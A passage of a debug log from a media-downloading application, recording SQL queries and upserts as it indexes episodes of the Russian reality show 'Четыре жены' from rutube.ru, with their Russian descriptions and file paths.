short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76326] 20:59:28.400 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Эрануи из Симферополя удивит сочетанием в своей жизни стендапа и медитации. Анастасия из Новосибирска покажет, как проходят её тренинги, и пригласит конкуренток в СПА. Юлиана из Екатеринбурга расскажет, как успевает уделять время мужу, детям и бизнесу. А Екатерина из Королёва погрузит девушек не только в свою семейную жизнь, но и в творчество.", "duration" => 6701, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e061500 - Четыре жены: Позитивная, вдохновляющая, жена-друг и творец.mp4", "id" => "cb4ee596655824668ef87ae504f1e5dd", "original_url" => "https://rutube.ru/video/cb4ee596655824668ef87ae504f1e5dd/", "playlist_index" => 4, "timestamp" => 1686838815, "title" => "Четыре жены: Позитивная, вдохновляющая, жена-друг и творец", "upload_date" => "20230615"} 20:59:28.405 [debug] QUERY OK source="sources" db=2.9ms queue=0.2ms idle=25.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:28.408 [debug] QUERY OK source="sources" db=2.9ms queue=0.1ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:28.411 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=11.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-15 14:20:15Z], 6] 20:59:28.533 [debug] QUERY OK source="media_items" db=121.3ms queue=0.2ms idle=13.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Эрануи из Симферополя удивит сочетанием в своей жизни стендапа и медитации. Анастасия из Новосибирска покажет, как проходят её тренинги, и пригласит конкуренток в СПА. Юлиана из Екатеринбурга расскажет, как успевает уделять время мужу, детям и бизнесу. А Екатерина из Королёва погрузит девушек не только в свою семейную жизнь, но и в творчество.", "Четыре жены: Позитивная, вдохновляющая, жена-друг и творец", "7b687617-8c96-446a-809f-5bb7353fd5d0", "cb4ee596655824668ef87ae504f1e5dd", 6701, false, "https://rutube.ru/video/cb4ee596655824668ef87ae504f1e5dd/", 4, "/downloads/rutubeShows/4 жены/Season 2023/s2023e061500 - Четыре жены: Позитивная, вдохновляющая, жена-друг и творец.mp4", false, false, false, 6, [], 1, ~U[2023-06-15 14:20:15Z], ~U[2025-12-09 17:59:28Z], ~U[2025-12-09 17:59:28Z], "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Эрануи из Симферополя удивит сочетанием в своей жизни стендапа и медитации. Анастасия из Новосибирска покажет, как проходят её тренинги, и пригласит конкуренток в СПА. Юлиана из Екатеринбурга расскажет, как успевает уделять время мужу, детям и бизнесу. А Екатерина из Королёва погрузит девушек не только в свою семейную жизнь, но и в творчество.", "Четыре жены: Позитивная, вдохновляющая, жена-друг и творец", "cb4ee596655824668ef87ae504f1e5dd", 6701, false, "https://rutube.ru/video/cb4ee596655824668ef87ae504f1e5dd/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e061500 - Четыре жены: Позитивная, вдохновляющая, жена-друг и творец.mp4", false, 6, ~U[2023-06-15 14:20:15Z]] 20:59:28.536 [debug] QUERY OK source="sources" db=1.3ms idle=134.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:28.537 [debug] QUERY OK source="media_profiles" db=0.7ms idle=131.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:28.538 [debug] QUERY OK source="media_items" db=0.8ms idle=129.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76327] 20:59:28.539 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Приключения новых участниц проекта «Четыре жены» начинаются! В гостях у Веры из Волосово соперницам предстоит поработать, после чего Вера пригласит их на русский обед. В Сочи девушек ждут новые образы от Дианы и велопрогулка. В Санкт-Петербурге жёны покатаются на тракторе, побывают в строящемся доме Ксении и поухаживают за животными. В Москве Екатерина научит конкуренток печь тортики. А какими девушки покажут себя в отношении с мужьями, увидим в программе «Четыре жены».", "duration" => 7469, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e062200 - Четыре жены: Сильная, мягкая, дружбан, учится быть женой.mp4", "id" => "b6b301e84fb7442e453d9be85b871b0d", "original_url" => "https://rutube.ru/video/b6b301e84fb7442e453d9be85b871b0d/", "playlist_index" => 5, "timestamp" => 1687444916, "title" => "Четыре жены: Сильная, мягкая, дружбан, учится быть женой", "upload_date" => "20230622"} 20:59:28.540 [debug] QUERY OK source="sources" db=0.3ms idle=129.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:28.541 [debug] QUERY OK source="sources" db=0.3ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:28.542 [debug] QUERY OK source="media_items" db=0.9ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-22 14:41:56Z], 6] 20:59:28.623 [debug] QUERY OK source="media_items" db=79.5ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Приключения новых участниц проекта «Четыре жены» начинаются! В гостях у Веры из Волосово соперницам предстоит поработать, после чего Вера пригласит их на русский обед. В Сочи девушек ждут новые образы от Дианы и велопрогулка. В Санкт-Петербурге жёны покатаются на тракторе, побывают в строящемся доме Ксении и поухаживают за животными. В Москве Екатерина научит конкуренток печь тортики. А какими девушки покажут себя в отношении с мужьями, увидим в программе «Четыре жены».", "Четыре жены: Сильная, мягкая, дружбан, учится быть женой", "dc6e543c-3f09-4c8d-8f98-92c609db6a35", "b6b301e84fb7442e453d9be85b871b0d", 7469, false, "https://rutube.ru/video/b6b301e84fb7442e453d9be85b871b0d/", 5, "/downloads/rutubeShows/4 жены/Season 2023/s2023e062200 - Четыре жены: Сильная, мягкая, дружбан, учится быть женой.mp4", false, false, false, 6, [], 1, ~U[2023-06-22 14:41:56Z], ~U[2025-12-09 17:59:28Z], ~U[2025-12-09 17:59:28Z], "Приключения новых участниц проекта «Четыре жены» начинаются! В гостях у Веры из Волосово соперницам предстоит поработать, после чего Вера пригласит их на русский обед. В Сочи девушек ждут новые образы от Дианы и велопрогулка. В Санкт-Петербурге жёны покатаются на тракторе, побывают в строящемся доме Ксении и поухаживают за животными. В Москве Екатерина научит конкуренток печь тортики. А какими девушки покажут себя в отношении с мужьями, увидим в программе «Четыре жены».", "Четыре жены: Сильная, мягкая, дружбан, учится быть женой", "b6b301e84fb7442e453d9be85b871b0d", 7469, false, "https://rutube.ru/video/b6b301e84fb7442e453d9be85b871b0d/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e062200 - Четыре жены: Сильная, мягкая, дружбан, учится быть женой.mp4", false, 6, ~U[2023-06-22 14:41:56Z]] 20:59:28.634 [debug] QUERY OK source="sources" db=10.1ms idle=85.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:28.636 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.3ms idle=94.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:28.637 [debug] QUERY OK source="media_items" db=1.0ms idle=95.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76328] 20:59:28.638 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены расскажут о своей семейной жизни и самореализации. Наталья из Перми пригласит участниц в свой салон красоты и покажет, как проводит с мужем танцевальные вечера. Луиза из Ставрополя расскажет, как они с мужем построили базу отдыха, и предложит девушкам полетать на параплане. Юлия из Екатеринбурга проведёт небольшой мастер-класс по приготовлению тортов и пригласит на пейнтбол. Анастасия из Новосибирска покажет, как отдыхает от семейных обязанностей, и сводит соперниц на квест. Смотрите программу «Четыре жены»!", "duration" => 5841, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e062900 - Четыре жены: Жена-движок, любимая, хозяйка и просто жена.mp4", "id" => "153a7989f58dbb01eb0ae4f99fe4688d", "original_url" => "https://rutube.ru/video/153a7989f58dbb01eb0ae4f99fe4688d/", "playlist_index" => 6, "timestamp" => 1688049607, "title" => "Четыре жены: Жена-движок, любимая, хозяйка и просто жена", "upload_date" => "20230629"} 20:59:28.639 [debug] QUERY OK source="sources" db=1.0ms idle=95.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:28.640 [debug] QUERY OK source="sources" db=0.6ms idle=16.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:28.641 [debug] QUERY OK source="media_items" db=0.6ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-29 14:40:07Z], 6] 20:59:28.791 [debug] QUERY OK source="media_items" db=149.9ms idle=5.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены расскажут о своей семейной жизни и самореализации. Наталья из Перми пригласит участниц в свой салон красоты и покажет, как проводит с мужем танцевальные вечера. Луиза из Ставрополя расскажет, как они с мужем построили базу отдыха, и предложит девушкам полетать на параплане. Юлия из Екатеринбурга проведёт небольшой мастер-класс по приготовлению тортов и пригласит на пейнтбол. Анастасия из Новосибирска покажет, как отдыхает от семейных обязанностей, и сводит соперниц на квест. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-движок, любимая, хозяйка и просто жена", "2bf078ea-3ebe-4360-b413-6912796dfaa1", "153a7989f58dbb01eb0ae4f99fe4688d", 5841, false, "https://rutube.ru/video/153a7989f58dbb01eb0ae4f99fe4688d/", 6, "/downloads/rutubeShows/4 жены/Season 2023/s2023e062900 - Четыре жены: Жена-движок, любимая, хозяйка и просто жена.mp4", false, false, false, 6, [], 1, ~U[2023-06-29 14:40:07Z], ~U[2025-12-09 17:59:28Z], ~U[2025-12-09 17:59:28Z], "Четыре жены расскажут о своей семейной жизни и самореализации. Наталья из Перми пригласит участниц в свой салон красоты и покажет, как проводит с мужем танцевальные вечера. Луиза из Ставрополя расскажет, как они с мужем построили базу отдыха, и предложит девушкам полетать на параплане. Юлия из Екатеринбурга проведёт небольшой мастер-класс по приготовлению тортов и пригласит на пейнтбол. Анастасия из Новосибирска покажет, как отдыхает от семейных обязанностей, и сводит соперниц на квест. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-движок, любимая, хозяйка и просто жена", "153a7989f58dbb01eb0ae4f99fe4688d", 5841, false, "https://rutube.ru/video/153a7989f58dbb01eb0ae4f99fe4688d/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e062900 - Четыре жены: Жена-движок, любимая, хозяйка и просто жена.mp4", false, 6, ~U[2023-06-29 14:40:07Z]] 20:59:28.794 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=155.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:28.795 [debug] QUERY OK source="media_profiles" db=0.3ms idle=155.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:28.796 [debug] QUERY OK source="media_items" db=0.6ms idle=155.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76329] 20:59:28.797 [debug] Current batch of media processed. Will check again in 1000ms 20:59:29.797 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Новые участницы сходят друг к другу в гости. Радмила из Челябинска покажет, как устроен быт в её фитнес-семье. Кристина из Орла докажет, что она является активной женой. Елена из Томска поделится секретами своих отношений, в которых за хозяйственность отвечает муж. А Виктория из Казани расскажет, что значит быть надёжной женой. Чем девушки впечатлят своих соперниц, покажет программа «Четыре жены».", "duration" => 6366, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e070600 - Четыре жены: Фитнес-жена, госпожа, активная и надежная.mp4", "id" => "cd8a9b1861cbfd294694f25bc7e289ea", "original_url" => "https://rutube.ru/video/cd8a9b1861cbfd294694f25bc7e289ea/", "playlist_index" => 7, "timestamp" => 1688653217, "title" => "Четыре жены: Фитнес-жена, госпожа, активная и надежная", "upload_date" => "20230706"} 20:59:29.798 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1006.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:29.799 [debug] QUERY OK source="sources" db=0.2ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:29.801 [debug] QUERY OK source="media_items" db=0.5ms idle=1005.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 14:20:17Z], 6] 20:59:29.945 [debug] QUERY OK source="media_items" db=143.7ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Новые участницы сходят друг к другу в гости. Радмила из Челябинска покажет, как устроен быт в её фитнес-семье. Кристина из Орла докажет, что она является активной женой. Елена из Томска поделится секретами своих отношений, в которых за хозяйственность отвечает муж. А Виктория из Казани расскажет, что значит быть надёжной женой. Чем девушки впечатлят своих соперниц, покажет программа «Четыре жены».", "Четыре жены: Фитнес-жена, госпожа, активная и надежная", "574164c7-109a-4d8b-9b92-87a8f763857b", "cd8a9b1861cbfd294694f25bc7e289ea", 6366, false, "https://rutube.ru/video/cd8a9b1861cbfd294694f25bc7e289ea/", 7, "/downloads/rutubeShows/4 жены/Season 2023/s2023e070600 - Четыре жены: Фитнес-жена, госпожа, активная и надежная.mp4", false, false, false, 6, [], 1, ~U[2023-07-06 14:20:17Z], ~U[2025-12-09 17:59:29Z], ~U[2025-12-09 17:59:29Z], "Новые участницы сходят друг к другу в гости. Радмила из Челябинска покажет, как устроен быт в её фитнес-семье. Кристина из Орла докажет, что она является активной женой. Елена из Томска поделится секретами своих отношений, в которых за хозяйственность отвечает муж. А Виктория из Казани расскажет, что значит быть надёжной женой. Чем девушки впечатлят своих соперниц, покажет программа «Четыре жены».", "Четыре жены: Фитнес-жена, госпожа, активная и надежная", "cd8a9b1861cbfd294694f25bc7e289ea", 6366, false, "https://rutube.ru/video/cd8a9b1861cbfd294694f25bc7e289ea/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e070600 - Четыре жены: Фитнес-жена, госпожа, активная и надежная.mp4", false, 6, ~U[2023-07-06 14:20:17Z]] 20:59:29.949 [debug] QUERY OK source="sources" db=2.5ms queue=0.1ms idle=547.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:29.950 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.4ms idle=151.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:29.951 [debug] QUERY OK source="media_items" db=0.5ms idle=151.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN 